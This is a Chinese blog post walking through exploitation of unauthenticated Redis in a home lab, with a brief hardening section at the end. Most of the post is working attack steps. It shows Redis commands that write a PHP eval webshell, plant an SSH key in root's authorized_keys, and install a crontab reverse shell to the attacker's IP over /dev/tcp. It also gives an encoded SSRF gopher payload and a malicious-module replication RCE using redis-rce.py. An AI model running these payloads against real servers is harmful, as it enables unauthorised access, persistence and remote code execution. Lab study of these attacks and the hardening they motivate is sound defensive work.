redis未授权漏洞利用总结

Redis漏洞复现


0x00 漏洞概述

redis默认端口6379,在默认配置情况下密码为空,因此如果将redis暴露到公网,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据,并且可以利用redis写入shell、写入SSH公钥等危险操作


0x01 漏洞复现

环境搭建,如已有环境请跳过

安装redis

下载安装包后进行解压

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
# 下载其他版本修改2.8.17为其他的版本号

进入到redis目录,make编译

image-20230626135637672

进入到src目录,将redis-cli 和 redis-server 复制到/usr/bin目录下方便使用(可省略)

cp redis-cli /usr/bin
cp redis-server /usr/bin

回到redis-2.8.17 目录,将redis-config 复制到/etc下

image-20230626135919912

安装完成,修改配置文件,添加 bind 0.0.0.0 允许任意IP登录

使用redis-conf配置文件启动redis

如果要设置后台启动,在配置文件中修改daemonize为yes

redis-server /etc/redis-conf

image-20230626140155518

在攻击机上同样安装启动redis,过程一致

靶机IP:192.168.30.103

攻击机IP:192.168.30.102`

在攻击机上连接靶机

redis-cli -h 192.168.30.103

image-20230626142635206

可以看到在没有任何认证的情况下直接远程连接上了靶机的redis服务


0x02 漏洞利用

1. 利用redis写入webshell

前提条件
  • 可以成功远程连接,并且未作登录验证
  • 知道网站的绝对路径,并且具有写入权限
复现过程
  • 修改redis文件保存路径
config set dir /opt/lampp/htdocs/temp

image-20230626154010551

  • 修改redis数据库文件名
config set dbfilename redis.php
  • 写入shell(redis会自动添加上版本信息,添加换行防止无法解析)
set x "\r\n\r\n<?php phpinfo();eval($_POST['shell']);?>"

访问写入的shell

image-20230626154606562

蚁剑连接

image-20230626154531660


2. 写入SSH公钥

原理:生成自己的RSA公私钥,将生成的公钥上传到目标服务器的ssh公钥目录,然后使用密钥方式登录

1.在攻击机中生成RSA公私钥

ssh-keygen -t rsa

2.将生成的公钥添加换行输出为1.txt

(echo -e "\r\n";cat id_rsa.pub;echo -e "\r\n";) > 1.txt

3.利用redis,将1.txt写入到靶机

修改redis路径为ssh的公钥路径

config set dir /root/.ssh

修改文件名

config set dbfilename authorized_keys

写入公钥文件

cat /root/.ssh/1.txt | redis-cli -h 192.168.30.103 -x set x

image-20230626162730848

查看靶机的.ssh目录,写入成功

image-20230626163022756

4.在攻击机上使用ssh远程登录靶机

ssh -i id_rsa root@192.168.30.103

image-20230626162843695


3. 利用crontab反弹shell

1.攻击机上监听6666端口

nc -lvp 6666

image-20230626164742537

2.利用redis写入定时计划

修改redis路径为crontab的路径

config set dir /var/spool/cron

修改文件名,修改完记得save一下

config set dbfilename root

写入定时计划

set x "\r\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.30.102/6666 0>&1\r\n"

差不多一分钟以后就会执行语句反弹shell了

image-20230626173506576


4. SSRF&Gopher&Redis

如果Redis在内网,无法直接访问,可以通过SSRF访问利用

gopher协议支持发出GET、POST请求:可以先获取get请求包和post请求包,再构成符合gopher协议的请求。

gopher协议格式

gopher://<host>:<port>/<gopher-path>_后接TCP数据流

这里推荐一个快速生成redis利用的payload脚本 firebroo/sec_tools ,需要修改py文件中的目的ip和端口,在redis.cmd中修改要执行的redis命令

flushall
config set dir /opt/lampp/htdocs/temp
config set dbfilename shell.php
set 'x' '<?php phpinfo();?>'
save

执行python脚本,生成payload

gopher://192.168.30.103:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%32%32%0d%0a%2f%6f%70%74%2f%6c%61%6d%70%70%2f%68%74%64%6f%63%73%2f%74%65%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%78%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

image-20230626180851533

发送payload

image-20230626181008523

访问刚刚写入的shell

image-20230626181346508


4. redis主从复制RCE

利用前提
  • redis.conf中,protectmode no 允许远程登录;bind 0.0.0.0
  • 未设置密码登录

简单来说,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中,从机只负责读,主机只负责写,因此主从会同步数据

环境配置

1)准备两个redis,将其中一个命名为redis-master作为主服务器,另外一个命名为redis-slave作为从服务器(从服务器为目标机器 端口6380)

2)进入redis-slave/redis.conf,修改端口为6380,设置slaveof 127.0.0.1 6379作为master的备份

image-20231027151332262

3)启动redis-master和redis-slave

cd redis-master;
./src/redis-server redis.conf

4)查看状态

image-20231027152334429

可以看到当前角色是master,slave0的端口是6380


漏洞利用

通过引用恶意.so文件反弹shell

1)下载编译恶意代码,编译完成后生成so文件.RedisModules-ExecuteCommand

image-20231027233921996

2)利用redis-rce工具反弹shell

python3 redis-rce.py -r 127.0.0.1 -p 6379 -L 127.0.0.1 -f module.so 
# -r 目标地址
# -p 目标端口
# -L 本地地址
# -P 本地端口,默认21000
# -f 恶意so文件

image-20231028221845734


0x03 漏洞修复

1.配置防火墙安全策略,禁止外网访问redis服务

2.在redis.conf配置文件中绑定ip

image-20230626173813926

3.在redis.conf中开启密码认证

requirepass [yourpass]

image-20230626174857268


Author: Mast1n
内容仅供学习交流,请勿用于违法行为

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值